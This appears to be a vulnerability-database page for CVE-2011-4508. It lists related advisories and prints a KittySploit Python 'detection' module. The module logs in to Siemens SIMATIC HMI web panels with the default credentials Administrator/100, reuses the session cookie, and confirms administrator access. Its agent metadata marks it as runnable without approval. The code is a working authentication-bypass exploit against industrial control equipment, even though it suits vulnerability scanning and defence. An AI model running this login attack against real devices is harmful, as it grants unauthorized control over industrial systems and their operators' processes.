Siemens SIMATIC - Default Password Auth Bypass Detection (CVE-2011-4508)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Siemens WinCC and SIMATIC HMI Panels < 11.0.2.1 Authentication Bypass | 8 May 201900:00 | – | nessus | |
| Siemens WinCC and SIMATIC HMI Panels < 11.0.2.1 Multiple Vulnerabilities | 8 May 201900:00 | – | nessus | |
| CVE-2011-4508 | 3 Feb 201220:00 | – | cve | |
| CVE-2011-4508 | 3 Feb 201220:00 | – | cvelist | |
| EUVD-2011-4434 | 7 Oct 202500:30 | – | euvd | |
| Siemens Simatic HMI Authentication Vulnerabilities | 24 Sep 201106:00 | – | ics | |
| Siemens SIMATIC WinCC Vulnerabilities | 2 Nov 201206:00 | – | ics | |
| KLA10394 Multiple vulnerabilities in Siemens | 24 Jan 201200:00 | – | kaspersky | |
| CVE-2011-4508 | 3 Feb 201220:55 | – | nvd | |
| Multiple Siemens SIMATIC Products Authentication Bypass Vulnerabilities | 23 Dec 201100:00 | – | openvas |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detects CVE-2011-4508/4509 by POSTing Login=Administrator&Password=100 to FormLogin."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Siemens SIMATIC - Default Password Auth Bypass Detection (CVE-2011-4508)',
'description': (
'Detects CVE-2011-4508/4509 by POSTing Login=Administrator&Password=100 to FormLogin.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2011', 'siemens', 'simatic', 'auth-bypass', 'ics', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2011-4508',
'https://nvd.nist.gov/vuln/detail/CVE-2011-4509',
],
'cve': 'CVE-2011-4508',
}
def run(self):
for base in ('/', '/www/'):
start = f'{base}start.html'.replace('//', '/')
r0 = self.http_request(method='GET', path=start, allow_redirects=False)
if not r0 or 'miniweb' not in (r0.text or '').lower():
continue
login = f'{base}FormLogin'.replace('//', '/')
r = self.http_request(
method='POST', path=login,
data='Login=Administrator&Redirection=%2Fstart.html&Password=100',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not r or 'Auth Form Response' not in (r.text or ''):
continue
m = re.search(r'url=([^"]+)', r.text or '')
cookie = ''
if r.headers and r.headers.get('Set-Cookie'):
cookie = r.headers.get('Set-Cookie', '').split(',')[0].strip()
if not m:
continue
r2 = self.http_request(method='GET', path=m.group(1), headers={'Cookie': cookie} if cookie else None, allow_redirects=False)
body = (r2.text or '') if r2 else ''
if 'You are logged in' in body and 'Welcome Administrator' in body:
self.set_info(severity='critical', reason='Siemens SIMATIC default password auth bypass (CVE-2011-4508)', path=login)
return True
return False
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.02979